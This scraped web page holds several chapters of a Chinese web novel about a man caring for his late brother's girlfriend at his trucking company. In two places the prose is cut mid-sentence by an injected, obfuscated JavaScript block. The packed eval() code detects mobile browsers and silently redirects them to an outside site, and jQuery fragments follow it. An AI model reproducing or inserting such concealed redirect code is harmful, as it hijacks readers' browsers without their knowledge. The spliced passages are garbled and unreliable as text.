但这条规则似乎碰上闻雪就要自动作废,他知道不合适,然而在她小心翼翼提出邀约时,他没办法拒绝,一来,现在的她在他眼中脆弱易碎,二来,他希望他们的关系能够尽快熟络,至少在相处中变得自然。
他下车后,接过她手里的塑料袋,跟在她身侧,走进了楼里。
以往不觉得楼梯间很暗,他早已经习惯了,闭着眼睛都不会摔跤,但闻雪是第一次来,挂在墙上的灯泡蒙上厚厚的灰尘,光线昏暗,稍不注意,她就会踩空,跌倒,骨折,住院。
他记了下来,决定明天提醒汪远,每一层都要换新的,瓦数大的灯泡,要照得楼道亮如白昼才行。
到了三楼,其他房间有的开了灯,有的还是一片漆黑。
来到通廊的尽头,闻雪站定,从羽绒服口袋里拿出钥匙,插进锁里开门,开关就在墙壁上,她摸索着摁开,贺岩就站在她身后,身影几乎可以笼住她,不留缝隙。
闻雪刚想招呼他坐,却发现屋子里连把椅子都没有。
贺岩:“……”
他也很无奈,“你缺什么,列个单子给我。”
想了想,以他对她并不深的了解,她多半不会列清单,便道:“明天下班后我带你去趟家居商场,再顺便在外面吃个饭。”
闻雪觉得没必要。
她寒假也就一个来月,但转念一想,这儿是他租的员工宿舍,之后可能会有其他人搬进来,她不需要的东西,别人用得着,“好。”
贺岩的眉头舒展开来。
虽然这样说不太好,但他确实感觉到了,养妹妹比养弟弟舒心。
贺恒小时候不算调皮捣蛋,可性子特别犟,有多倔呢,他让这小子滚,这小子就乖乖朝他指的方向滚,然后蹲在那地方,天黑了都不肯挪动一下,非得他来亲自提着回家。
长大后懂事了,为人直,认定的事九头牛都拽不回来。
不然,也不会在其他人旁观时,义无反顾地扎进水里去救那个挣扎的孩童。
他得知噩耗,硬生生地吐了口血,不止一次看着遗像在心里质问,为什么,为什么,别人都不做,为什么你要去做!你的命就不是命了吗?!
也许是他百分不解,万分悲恸,在头七时,贺恒闯入了他的梦里。
梦中,他穿着白衣黑裤,清清爽爽的,笑着说,哥,我活了二十年,那个孩子才八岁。
…
叮叮当当的声音,打断了贺岩不愉快的回忆。
闻雪找出小小的电锅,烧得快,但很小,一次大约只能煮一人份的量,实际上,是两个人,但……她余光看了眼贺岩的身躯,昨天今天吃过一起两顿饭,她哪怕再不关注外界,也看得出来,他很能吃。
“哥,你坐这。”
闻雪指指放在地上的行李箱。
贺岩低头一看,还是算了,他怕自己坐上去,这箱子得塌。
房间不算大,只有一个小小的水池,筒子楼的设计就是这样,厨房、水房、厕所都是公用的,闻雪接了点清水将锅里涮了一遍后,把打包的鸡汤倒进去,插上插座通电。
不一会儿,汤开始沸腾,窄窄的屋子里弥漫着浓郁的香味。
闻雪放了把面条,她不管饿或者不饿,做这些事都不疾不徐,贺岩看了一会儿,心情奇异地都平静了许多。
等这一小锅鸡汤面煮熟了,闻雪再次尴尬地发现,她只有一个碗。
这个碗还是买袋装泡面时的赠品,她在宿舍常用。
贺岩:“……”
他越发觉得跟过来是个错误的决定,可现在再走更不好,道:“你用碗。”
“那?”
闻雪疑惑,再顺着他的目光,看向那只锅,不确定地问:“你用锅?”
贺岩轻咳一声,点了下头。
不知怎的,她被逗笑,垂着头,笑了起来,声音很轻。
这是一顿略显狼狈的晚饭,闻雪的鸡汤面里堆着中午没吃的鸡腿,贺岩胃口果然不小,她第二锅煮了满满一锅,他全吃了,清淡可口,吃完后胃很暖,也很舒服,没有大餐后的油腻负担感。
闻雪习惯善后,吃饱喝足后,她要去接锅,拿去厨房洗刷。
贺岩侧身避过,伸出右手,“你的碗给我,我去洗。”
“啊?”
“水冰。”
他丢下两个字,不由分说,拿过她手里的碗,转身往外走去,他很高,进来出去,都下意识地俯首,这一层的厨房用得不多,台子上摆着各种调料,扫视一圈,还算干净,找到挂着的抹布还有洗洁精。
闻雪不太放心,迟疑着跟过来。
在厨房门口时停下脚步,屋里头顶是昏黄的灯,窗外漆黑,身形高大的男人站在洗水池前,水龙头哗啦哗啦地放着水,他背对着她,垂在身侧的右手手指夹着一根点燃的烟。
他抬手抽了口,仿佛察觉到了什么,不经意地回头,薄唇吐出烟雾,见是她,他愣了愣,赶紧灭掉烟,声音低沉:“怎么了?”
“没事。”闻雪本意是担心他洗不干净,她来洗,此时此刻忘记了这一茬。
贺岩嗯了声,“没事就回房,这里冷。”
厨房的油烟机都是老式的,扇叶呼呼地吹着,冷风灌入,门又没关,不如她那开着取暖器的房间暖和。
“……哦。”
闻雪直愣愣地转身往房间走。
…
几个员工勾肩搭背从外面回来,临近过年,天冷,没几个人愿意买菜做饭又洗碗,附近就是夜市,什么吃的都有,一碗加蛋的有锅气的炒粉也不会超过六块,吃好了回宿舍,有兴致就打扑克牌,没兴致洗洗躺床上玩手机。
上了三楼,听到厨房有水声,几人面面相觑,谁这么勤快?
有人探头往里一瞧,惊掉下巴,“岩哥?!”
公司里有两个老板,贺岩跟吴越江,不过大家都更习惯喊岩哥,喊吴越江则是规规矩矩的吴总,光从称呼上来看,他们确实跟贺岩更为亲近。
贺岩扭头,见那几个没个正形挤在门口,皱眉道:“明天有长途单,还不早点休息?”
他们可没被吓到,大声:“哥,在洗碗呢?我没看错吧?!”
贺岩不吭声。
其他人只觉得这一幕太新鲜,在震惊过后,第一反应就是同时拿出手机,即便像素没有多好,依然咔嚓咔嚓地拍照,必须拍照,必须留恋,谁知道是不是他们这辈子唯一一次看到岩哥洗碗。
贺岩像极了面对长枪短炮的明星,他笑骂道:“滚。”
大家拍够了,赶紧一溜烟跑了。
厨房又重新清静,贺岩把锅跟碗都刷得干干净净,这事他很久没做,但不代表他不熟,小时候带着弟弟生活在亲戚家里,寄人篱下有的事必须学着做。
等贺岩带着干净的锅碗筷来到闻雪的房间时,并没有再进去,而是站在门口,敲了敲门。
正在充热水袋的闻雪急急忙忙来迎。
“等下是要洗澡?”他问。
闻雪有每天洗澡的习惯,天气再冷,她也要洗,更别说今天去了不少地方,“嗯。”
“娜娜有告诉你洗手间在哪吗?”
“说了。”
洗手间虽然是公用的,但男女分开,她去看过,洗手间很干净,没有奇怪的味道。
“行。”贺岩颔首,“我先下去,有事给我打电话。”
“好。”
目送着贺岩走后,闻雪轻轻带上了门,进屋从衣柜拿换洗衣服还有睡衣,热水袋咕咕咕地在响,只等好了塞进被子里。
贺岩并没有下楼,他敲开了另一间房门,从里走出正在啃苹果的短发女人,她立即道:“报告岩sir,我们今天没打牌!”
“麻烦你一件事。”贺岩偏了下头,示意她出来,用下巴点点,“住最边的是我妹,她来帮忙,暂替蔡姐的岗位,你白天多带带她,现在没事吧?”
“咱妹来了,那太好了!”女人眉开眼笑,适当抱怨,“蔡姐休产假后可把我累死了!”
“她等会儿洗澡。”贺岩斟酌,“你要有空,麻烦你在洗手间外面守着,等她回房了你再走。”
“???”
女人眨眨眼,没听懂,“什么意思?”
“我妹胆子小。”他说,“那几个男的嗓门大,进进出出,我怕她吓着。”
“懂了。”女人惊讶地上下打量他,“看不出来你这么细心呢。”
她以前也腹诽过,老板什么都好,就是脾气又臭又硬,吼男的也就算了,那是他们活该,但怎么教训她们也凶巴巴的,一点都不懂怜香惜玉,现在懂了,敢情她们不是他妹妹。
可以,非常好。
贺岩不置可否,交待后便走了。
闻雪将换洗衣服用透明袋子装起来放进盆里,除此以外还有小瓶的沐浴露,毛巾牙刷,还没走到洗手间门口,看到一个裹着睡袄的短发女人戴着耳机在哼歌,就堵在门那儿。
“老板妹妹是吧?”
她让出位置,脸上堆满了笑容,“快进去洗澡,跟你讲,现在正好,要是再晚一个小时,水就没那么热了,你放心啊,我就在门口守着,有事你喊一声就行!”
闻雪花了一分钟,才捋清她的意思,大概能猜到是贺岩交待的,低声道:“谢谢。”
9. 009.
一个人睡一间房的好处在于不管睡得多晚,醒得多早,都不用再担心会吵到别人。
五点钟闻雪就从梦里醒来,做了噩梦,额头鼻尖都冒出了汗,来这里的第一个晚上她睡得不好,她轻微认床,到了陌生的环境需要适应几天。外面天还是黑的,她尽量放轻动作起床洗漱,即便再慢,等收拾好自己后,也才五点半不到。
整个世界都好安静。
她坐在床边,来得太匆忙,运输相关的很多事情了解也不够充分,干脆拿起手机,尽可能地在网上搜一些相关知识。她现在阅读速度不如从前,好在她有足够的耐心,一个字一个字地看,再理解。
叩叩叩——
等敲门声传来,闻雪抬起头来,这才发现天已经完全亮了。
再看看手机时间,不知不觉竟然已经八点。
她起身开门,既是意外,又是意料之中,门口的人是贺岩,他两手提着打包袋递给她,言简意赅道:“早饭。”
闻雪只觉得无所适从。
她其实不需要他这般细致的关照,这会令她很有压力,可话到嘴边,又没办法讲出来,只能闷闷地接过来,他买了很多,份量够两三个人吃,小声道:“太多了,我吃不完。”
贺岩的目光落在她的发顶,不觉得这是什么大事,“你挑你喜欢吃的,剩下的给我。”
他每个手指都勾着个袋子。
闻雪只拿了小笼包,估摸着刚出笼,还冒着热气,“我吃这个就够了。”
“行吧,你先吃,我在楼下等你,你吃完了再下来。”贺岩说,“时间还早,不着急。”
“……嗯。”
贺岩没进屋,拎着其他早餐下楼。腊月的早晨,太阳还没完全升起,气温很低,他都走到车旁,拉开了车门,垂眸看着买的茶叶蛋煎饼咸豆花,香味扑鼻,要是在车上吃,难免留下味道,略一思索,又大力将门关上,往边上走了几步,离车几米远,站着解决早饭。
闻雪不想他在楼下等她太久,吃得快了些,差点被噎住。
保温杯的质量很好,昨天晚上倒的水,现在入口还有点烫,她一边小口喝水,一边苦恼地想,这早餐是只有今天有,还是以后每天都有?如果是前者,她还能松一口气。
如果是后者,该怎么办呢。
她并没有后悔答应跟着他过来,只是,无论是生活上,还是情感上,她都不愿意给别人尤其是贺岩添麻烦,所以他给她的那张名片,她会小心地夹在本子里,但从来没想过要给他打电话。
哎……
闻雪喝了半杯水,收敛心神,简单收拾,把常用的笔记本,圆珠笔,还有手机放进包里,拿着保温杯出门,下楼梯时碰上了风风火火的娜娜还有她对象。
年轻人谈恋爱正是甜蜜的时候,身强力壮的男人背着娜娜,故意颠她。
小情侣欢声笑语不断。
“闻雪!”娜娜喘着气,捶男朋友,“别闹了,放我下来!”
“早上好。”闻雪笑笑。
“她就是岩哥的妹妹,闻雪。”娜娜语调轻快,“闻雪,这我对象,万年。”
闻雪对万年没了印象。
万年却还记得她,作为最早跟着贺岩一起混的员工,在发生了那么大的事后,他瞒着其他司机,这事都没跟娜娜说,只身前往海城吊唁,在殡仪馆里,他见过闻雪。
他对她说,节哀。
她哭得身体都在发抖,差点晕过去,是旁边的岩哥伸出手臂扶住她。
“你好。”闻雪礼貌地打了招呼。
万年回过神来,见她不记得自己,便也笑着说:“你好。”
三人一前一后下楼,贺岩的车就停在楼道门前,闻雪跟娜娜挥手,加快步子上车。目送这辆车调头驶离筒子楼,娜娜挽着万年的手,噘嘴感慨道:“岩哥对闻雪真好,对了,你之前见过她吗?”
“没见过。”
万年心想,岩哥对外说闻雪是他妹妹,没提她跟贺恒的关系,可能也有他的顾虑。
…
一路上,贺岩开得很慢,偶尔开口为她指路,从筒子楼出来到公司,距离很近,他不一定每天都有时间带她上班,她得认路。
闻雪降下车窗,清晨的风很凉,吹乱她的头发,她拉了拉围巾,一双眼睛清凌凌地看向外面,老城区远远不如新城区干净宽敞,但这里的生活气息很足,很像老家。
贺岩跟她聊着,忽然闻到了一股陌生的清幽味道。
他不自觉地嗅了嗅,鼻子循着气息,脸也转了过去,确定这若有似无的气味来自闻雪的发丝,不自在地握紧方向盘。
车辆平稳地驶进园区,这一片几乎都是运输公司,四处可见载着集装箱的大货车,有跑短途的,也有长途的,有普通货,也有冷链,停好车,闻雪跟在贺岩身后进了办公室,地方不大,几个司机正在一边说笑,见他来了,异口同声喊道:“岩哥!”
贺岩停下脚步,偏头看向闻雪,向她一一介绍。
她不知道怎么叫人,只能轻轻点头。
司机们一瞬不瞬地盯着她,直到贺岩不动声色地往她身前一站,高大的身躯牢牢地挡住她,他们才反应过来,都是年轻人,年纪最大的也没超过三十,跟汪远似的,大冬天脸一热,讪讪笑着。
“闻雪,我妹。”
贺岩以眼神无声警告,“她来帮忙,你们也多关照她。”
接下来,他带着她在公司走了一圈,挨个介绍,闻雪也从一开始的拘束,逐渐放松,因为她发现,他们似乎都不知道她跟贺岩真正的关系。
她也知道了,昨天为她守在洗手间外面的短发女人叫李静如。
“岩sir果然还是有点人性的。”李静如在贺岩走后,不客气地跟闻雪吐槽,“蔡姐休产假,他跟姓吴的死抠,也不说再招个人,让我一个人干两个人的活!”
闻雪凝神听着,问:“岩……sir?”
李静如刷刷刷地翻着文件单,“他不喜欢我们打牌,每次抓得很严,有几次火气上来了,直接掀了桌子,不就是警察咯?”
闻雪面露惊讶,总觉得贺岩不像是会做出这件事的性子。
李静如观察她的表情,乐了,“我可没胡编乱造,不信你问周姐,周姐——”
周姐是财务,是个四十多岁的中年女人,泡了一杯茶,轻吹开茶叶,眼皮都没抬一下,“不知好歹,贺总是怕你们把好不容易赚的辛苦钱全输了,不然管你们做什么?”
办公室氛围很好,李静如手把手教闻雪对单,偶尔她不受控地分心,李静如则端量着她的侧脸,然后吹声口哨,和她以前念书上学放学路上碰到的那些男生吹的一模一样。
李静如笑嘻嘻,“妹妹,好美。”
闻雪面颊发热,小声道歉,“不好意思,我最近有点无法集中注意力。”
“没事,我爱吹口哨,我吹得好不好?”
闻雪也腼腆地笑笑。
一个上午就这样平平淡淡地过去,午休时分,吃完饭后,周姐吆喝她们搬椅子到外面晒太阳,这是她的养生法子,“不要怕什么紫外线,人就是要多见见光,照照太阳。”
闻雪不想动,安静地托着脸坐在办公桌前,目不转睛地看着桌上的仙人球。
如果没人打扰她,她可以看几个小时。
正在沉浸式观察仙人球时,忽地,感觉不对劲,左边是娜娜,右边是李静如,她们竟然连椅子带她一起抬起来往外走。
闻雪大惊失色,叫了一声:“啊?!”
放我下来!
娜娜跟李静如哈哈大笑。
就这样的,四个处于不同年龄段的女人在楼下坐着嗑瓜子。
四十五岁的周姐,三十岁的李静如,二十二岁的娜娜,二十岁的闻雪。
贺岩站在办公室的窗户那儿,相隔一段距离,漫不经意地看向沐浴在阳光中的她,她似乎没有参与到话题中,尽管如此,她也会接过周姐抓给她的瓜子,垂着头吃着,很慢,别人嗑五粒,她一粒。
“看什么呢?”
吴越江跟合作方结束一通扯皮拉筋的电话,口干舌燥,咕咚咕咚喝了一杯,嗓子总算没冒烟了,一抬头,见贺岩悠闲地站在窗边,他起身踱步过去,没好气地问道。
贺岩收回视线,语气平淡地说:“对了,我和周总的饭局改到明晚了。”
吴越江问:“你今天晚上有安排?”
“有,我带闻雪去趟家居商场,给她房间添置点东西。”
吴越江一边点头,一边说“应该的”,又道:“这样吧,我也一起去,顺便请她吃顿饭,她都喜欢吃什么,西餐,中餐还是海鲜,我好提前订位。”
贺岩陷入思索。
对他,她话都很少,更不要提对老吴这个更不熟的人。
“还是日料或者韩料?”吴越江嘀咕,“她这个年纪的女生应该更喜欢吃这些?”
“不了。”
贺岩迅速打断他,“改天吧,今天你不要去,人多了我怕她有压力。”
吴越江一头雾水,伸出手指,指了指他,又指了指自己,疑惑:“等等?人多?”
哪里多了?
不就三个人吗?
10.010.
两个人不多,三个人就多了。
吴越江算是听出来了,他就是那个多余的人,虽然没打算再跟着去,但还是以揶揄口吻道:“你知道带她去哪个家居商场吗?”
贺岩还真没思绪。
因为他就没置办过正儿八经的家具,没钱的时候都是往卖二手的那儿拖床跟衣柜,有钱了直接让助理去买,哪怕是上辈子他对这些事也没研究。
至于家具是不是用名贵木头做的,都不影响他躺上面睡觉。
他也不关心。
见贺岩沉默,吴越江装模作样地摇头叹气,给他说了个大型家居商场的名字,“年轻女孩子应该喜欢去那里逛,大大小小的东西都有,有人能在里面逛一整天。”
贺岩没有恋爱经验,也没有跟年轻女生有过公事以外相处的经历。
他生活中的女性,要么是年长者,要么是他的员工。
所以他不知道她们喜欢什么,也没有考虑过这个问题。吴越江过去也会劝贺岩不要只顾着赚钱,好歹也关心下自己的终身大事,彼时的贺岩嗤笑一声,利落地撬开啤酒瓶盖,满脸不在乎。
现在吴越江置身于这个做主的位置后,这些话他不说了,没时间也没心力。
贺岩对他的意见半信半疑:“你确定年轻女孩喜欢去那里?”
“确定,不止年轻女孩喜欢,我也喜欢。”吴越江推了推鼻梁上的眼镜,平静道。
贺岩姑且相信。
毕竟吴越江有妹妹。
下午时分,吴越江要出去跟银行的经理见面,办公室里只有贺岩,他忙完手中的事后,拿起座机,拨了内线号码,让汪远进来,两分钟不到,瘦高个敲开了门,手里还提着杯奶茶,满脸堆笑凑过来,讨好道:“岩哥,星光广场那里新开的奶茶店,我请客,公司人都有,你也有。”
“碰上什么好事了?”贺岩没接。
汪远这个人什么都好,就一点,抠门。
至少上辈子达到请喝奶茶这个标准的还是这小子在老家买房的时候。
汪远羞涩地别过头,“还算不上好事,岩哥,那什么,你觉得我这人怎么样?”
贺岩瞥他,“有事直接说。”
“那我就直说了?”汪远殷勤帮他戳开奶茶杯,“闻雪……她有对象吗?”
贺岩:“……”
他抬手,面无波澜地推开汪远恨不得递到他嘴边的奶茶,竖起一根手指,问,“这是几?”
汪远不解其意,还是老实回道:“一啊。”
“没喝多呢?”
汪远:“?”
他不爽道:“岩哥,你这什么意思,我知道自己配不上她,但我人好啊。”
“人好不顶用。”
贺岩说的是实话,他知道闻雪还这么年轻,以后肯定会谈恋爱,甚至私心里他也希望能有个像样的男人带着她走出来,和她一起经营宁静幸福的生活,但这个人不会是汪远,不是条件般不般配的问题,而是像闻雪这样的人,她的男朋友如果没有很强的能力,抑或是坚韧的心智,未来那个男人如果再出现在她的生活中,便毫无还手之力。
汪远气得啊,头发都差点竖起来,直接把奶茶抢了回来,自己猛喝一口。
贺岩:“别生气,是为你好,说正事,你等下去建材店多买几个瓦数高的灯泡,把楼道的灯都换了。”
汪远不死心地说:“哥,我不止人好,我还老实。”
贺岩低头摊开文件资料,“出去吧。”
…
六点整。
闻雪觉得这一天很漫长,因为她需要时刻打起精神来适应工作,短短一天,她和李静如居然也有了默契,每当她走神时,李静如就会吹口哨来唤醒她。
娜娜评价:“好像街溜子。”
闻雪忍俊不禁,却还是轻声道:“谢谢静姐。”
李静如摆摆手,不甚在意地说道:“谢什么,很正常啦,我刚来跟着蔡姐学习的时候,听她叭叭叭的直接睡着了,慢慢来,会越来越好。”
会越来越好吗?
闻雪不确定地想。
“闻雪,要不要一起去逛街?”娜娜打过卡后,转过头振奋问道。
“她不去。”
回答的人不是闻雪,办公室里其他人齐齐循声望过去,穿着黑色大衣的贺岩挺拔地立在门外,手里拿着车钥匙,他环顾一周,最后看向在喝水的闻雪,“收拾好了?”
“嗯。”
闻雪匆忙拧紧杯盖,抱着包起身,冲她们抿唇笑笑,算是道别,然后跟上贺岩,两人一同往公司外走去,经过门口巨大的盆栽时,她浑然未觉,反而是贺岩抬起手臂,帮她挡住垂下来的叶子不被扫乱头发。
李静如和娜娜昨天就见过贺岩对闻雪的特殊。
周姐见了却是一愣,啧啧称奇,要不是贺总说了闻雪是他妹,她还以为……
吉普车在宽阔的道路上行驶着。闻雪坐他车的次数不多,她不知道,其实贺岩是习惯开快车的,但余光瞥见她安静地窝在副驾驶座,他便放慢了车速,“饿不饿?”
“还好。”
闻雪不是不知好歹的人,生活中谁对她好,她通通知道也都记在心里,今天跟李静如熟悉工作流程,她猜他这里是缺人,但这可能也是他的借口,他还是想接济她,照顾她。
无论她需不需要,她都感恩。
思及此,她伸手探进包里,找到还剩的巧克力,用掌心包住,迟疑了一会儿后放在扶手箱上。
听到窸窸窣窣的动静,等绿灯时,贺岩不经意地低眸看了眼,车厢光线昏暗,他盯着那两颗巧克力,视线移到闻雪的侧脸,拿起一颗,拆开包装纸,将他并不爱吃的巧克力塞进嘴里。
这味道对他来说过于甜腻,吃一颗已经是极限,另一颗便没再碰。
他注意着街道两边的商铺,问道:“晚饭想吃什么?”
如果不是接下来还要逛家居商场,闻雪的回答多半是“都可以”,现在已经过了六点,要是去餐厅吃饭,大约要花费一到两个小时,她没有马上回答,目光穿过挡风玻璃,四处张望,瞥见夜幕中有熟悉的标志,小声说:“我下车去买可以吗?”
贺岩顿了顿,“可以。”
说着他靠边停车。
但在她解开安全带准备下车时,他又不放心,“还是我去买。”
闻雪以往是真的没听到别人说的话,这次她是故意装作没听到。
她下了车,关好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752676|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车门,回头时风吹起她的头发,她只匆忙看了两眼,似是要记住停车的位置,便顶着入夜后的寒风往那家店走去,身影由清晰到模糊,再到消失在贺岩的视野。
贺岩失笑。
闻雪买饭的速度是高中三年大学一年半练出来的,没过多久,她就抱着纸袋重新小跑回来,就这么一会儿的功夫,鼻尖冻得泛红,坐上车后,呼吸急促,胸口起伏。
“买的汉堡?”他问。
闻雪急急喘息,“……对。”
她努力平复,小心拆开纸袋,从里拿出一个汉堡,便将整个纸袋都递过去给他,“不知道你喜欢吃什么口味的,排队的人多,我没打电话,就随便买了点。”
“没事,我不挑。”
贺岩接过来时,愣了几秒,明显感觉到纸袋有些重量。
果然,伸手探进,一个,两个,三个……
三个汉堡,其中两个还是巨无霸。
除此以外,她还买了三杯喝的,显而易见,她只喝一杯。
贺岩:“……”
他没忍住看向她,她垂着脖颈,拆开包装纸,察觉到他的注视,她偏过头,对上他的眼眸,四目相视,她犹豫地、小心地问道:“是不是我买少了?要不我再下去买点别的?”
她发现这条街商铺很多。
有汉堡店,有面包店,还有二十四小时营业的便利店。
贺岩摇头,“够了。”
再吃别的,他真成饭桶了。
…
工作日的晚上,家居商场也热闹极了。
一路走过去,哪怕是贺岩这种常跟牛鬼蛇神打交道的人,见一群人大喇喇地躺展示床上睡觉,差点没控制好神情。
这不是商场吗?
他怎么有种误入别人家卧室的错觉?
闻雪注意到他脸上的表情,唇角微扬。贺恒和他虽然气质截然不同,一个清爽带书生气,一个硬朗沉稳,但五官是相似的,冷不丁地,在头顶柔和的光线倾洒之下,她透过贺岩,看到了一年前还活着的贺恒。
那时贺恒也是这般瞠目结舌。
贺岩蹙着的眉头,在对上闻雪含着笑意的眼眸时,不自觉地舒展开来,“人多,我们早点逛完。”
吴越江也是瞎猫碰上死耗子。
贺岩看得出来闻雪的确很喜欢逛家居商场,她难得对什么东西好奇,这会儿却左右张望,看着那些堆放在一起的毛绒玩具,也忍不住伸手又捏又抓。
她甚至都没发现,跟在她身后的贺岩,在她捏了毛绒玩具后,伸手从里拽出一个一模一样的扔进购物车里。
接下来凡是她盯着超过十秒钟的东西,他通通都拿下。
等闻雪终于记起还有个人时,一回头,见购物车都快被塞满了,惊讶地看向他,明白是怎么一回事后,她无奈地走过来,将他放进去的各种小玩意一个一个放回原位。
她没有丝毫不耐烦,俯身时乌发垂落,遮住侧脸。
贺岩一只手放在购物车把手上,一只手揉揉眉心,他现在开始觉得弟弟比妹妹舒心了。
起码贺恒是不敢这样的。
在购物车里只剩下那个毛绒玩具时,闻雪住手了。
她留下了它。
11.011.
贺岩以为闻雪会把所有的东西都放回去,没想到她留下了一个毛绒玩偶。
这算是给他留了一点面子吧?
还好购物车不算太空,他这次默默地跟在她后面,没再自作主张往里扔东西,闻雪也不确定那个房间要添置什么,漫无目的逛了快半个小时,除了毛绒玩具以外,只多了几幅碗筷。
贺岩不是一个在生活琐碎小事上有耐心的人。
他确实难以理解她左摸摸,右看看,又什么都不买的行为。
很快他就发现让闻雪做主添东西,可能逛到人家商场关门,也只会多两个杯子,便果断道:“去看看沙发。”
“沙发?”
“对。”
这次他推着车走在前面带路,回头以眼神催促她。
闻雪只好乖乖跟上。
考虑到房间面积小,贺岩以眼睛当尺子测量,抬抬下巴,低声问她:“你喜欢哪个颜色?”
他们对面摆放着双人布艺小沙发,大小正合适。
有米色的,有深灰色,还有粉红色。
他心想,她应该喜欢粉红色。
闻雪认真打量,抬手指了指深灰色,“这个。”
跟喜好没关系,因为她觉得这三个颜色都不太好看,但如果要她选,她会选最耐脏的深灰色,这样等她走后,其他员工搬进去的话,沙发看起来还是崭新的,对方应该会很开心。
贺岩神情微顿,“好。”
他把购物车推到她身旁,向工作人员咨询送货事宜,等再回来找她时,她去了别处,他的电话还没拨出去,视线就搜寻到了她的身影。
她正出神地望着一盏落地灯。
连他走到她身边,她都没有反应过来,他只好出声问道:“喜欢吗?”
低沉的嗓音传至闻雪的耳膜,她侧目,有一瞬的恍惚,像是回到了一年前,那时她和贺恒双双放假,看西城的一切都新鲜,根本不想那么早回家,去了好几个地方疯玩,也来了家居商场,那时她就很喜欢这盏落地灯。
彼时贺恒揽着她的肩,笑着问:“喜欢吗?”
她点点头,但没让他买,一来,住宿舍没地方摆放,二来,搬回海城太麻烦,而且住老家的日子太少,只好作罢。
不是不喜欢,然而那时,她以为他们还有一辈子那么长的时间,总有一天他们会住在自己的房子里,买她最喜欢的灯。
“以前……”
人来人往,闻雪有些艰涩地开口,“我们就很想买,但没有地方放。”
如果站在她身侧的人不是贺岩,是其他人,哪怕是她最好的朋友,她也不会说这句话。
但对着贺岩,她可以很轻松地提起他。
有些话轻而易举就能说出口,也是这时候她才恍然大悟,原来如果思念一个人,要和同样思念ta的人说才行。
贺岩沉默数秒,沉声道:“现在有地方放了。”
闻雪怔了怔。
这盏落地灯不需要等送货,买下来今天他们就能拿回去。
等贺岩把装着灯的纸盒扛上车塞后座,回到驾驶座的第一件事就是问闻雪:“带了钱包吗?”
结账时,她就从羽绒服口袋里掏出过,是一个浅蓝色的钱包。
“带了。”
“给我一下。”
闻雪不懂他的意思,还是老老实实搜出钱包给他。
贺岩又拿出自己的钱包,把里面的现金全抽了出来,塞进浅蓝色钱包里,一时间,原本秀气的钱包鼓鼓囊囊,几乎都快扣不上。
“我有钱的!”她急了,立刻侧身直视他,阻止道。
“用完了再跟我说。”贺岩把钱包还给她,昏暗的车厢里,只有中控台散出的那一丝光映着他冷峻的脸,“别学他,每次都等我问,他才说没钱了。”
闻雪脸上的神情空白了几秒。
等贺岩发动引擎,她才缓缓地攥着这厚厚的钱包,太过用力,骨指泛白,片刻后将它放回口袋。
…
闻雪并没有太过关注外界,筒子楼楼道里的灯亮了很多,她没发现,倒是贺岩抬头满意地看了眼灯泡,他让她走前面,他走后面,以防万一,她要是踩空他还能接住她。
到了三楼,贺岩竖起耳朵听了会儿,没听到麻将声,肩上扛着纸盒,右手提着袋子,继续沉稳地跟在她身后往最边上走去。
闻雪怀里抱着毛绒玩具,找出钥匙开了门。
现在时间还不算太晚,九点不到。贺岩从她手里接过剪刀,拆开纸盒,蹲着一边研究说明书一边组装落地灯,他做事一丝不苟,一向冷硬的脸上也多了些认真神情。
闻雪想帮忙也插不上手。
她静静地看了一会儿,从袋子里找出新买的杯子,烧了壶水,用热水烫了又烫,闻了闻,没有奇怪的味道,又在行李箱里翻出去年冬天没喝完的几条棉花糖热可可粉,确定没过期后探头轻声问他:“你喝热可可吗?”
热可可?
贺岩听过,但没喝过,具体它是什么,他也不清楚,便随口道:“可以。”
闻雪撕开包装,用热水冲开,顿时甜腻的香味扑鼻而来。
她手捧着杯子取暖,准备等没那么烫了再给他。
贺岩动手能力很强,三下两下就将落地灯装好,转头问她,“放哪?”
闻雪环顾整间屋子,不太确定地一指:“要不放那里?”
明天沙发送来,落地灯放在旁边似乎更好。
“行。”贺岩将灯摆在她指的地方,正好下方有插座,通电后,他正准备试试,转念一想,跟哄孩子似的,冲她招招手,用鼓励的口吻道,“你试试。”
闻雪心中有很微妙的情绪拂过。
那情绪过去很熟悉,这半年很陌生,但她知道,那叫期待。
她点了下头,把杯子给他,掌心还是烫的,出了点汗,她擦过他的大衣下摆,找到落地灯的开关,问他:“是这个?”
贺岩笑笑,但他很快笑不出来了。
因为一股甜得腻人的热气萦绕在他鼻间,挥之不去,他垂下眼,深棕色上飘着几粒还未完全融化的棉花糖,“……”
咔哒一声——
他抬起眼眸。
闻雪握着开关,用力一摁。
柔和的灯光照在她白色的羽绒服上,柔顺的头发上,以及,她清亮水润的眼眸中。
她定定地看着这盏灯,眼中有久违的,真切的惊喜。
她终于把它带回来了。
…
贺岩装好灯后,没有在她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759369|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房间久待,把空了的杯子还给她便匆匆下楼回房。
吴越江跟他住同一层,脸上带着醉意回来,见他房间的门敞开,步履虚浮地走进来,“跟张经理喝了瓶白的,又喝了瓶红的,他总算松口了,说会跟上面申请放宽咱们的贷款条件。”
“额度有没有谈?”贺岩口齿不清地回。
他正弯腰在水池前刷牙。
吴越江红光满面,比了个数字,“怎么样?”
贺岩仰头漱口,露出喉结,吐了嘴里的水后,说:“还行。”
吴越江搓搓脸,喜气洋洋:“终于能过个好年了。”
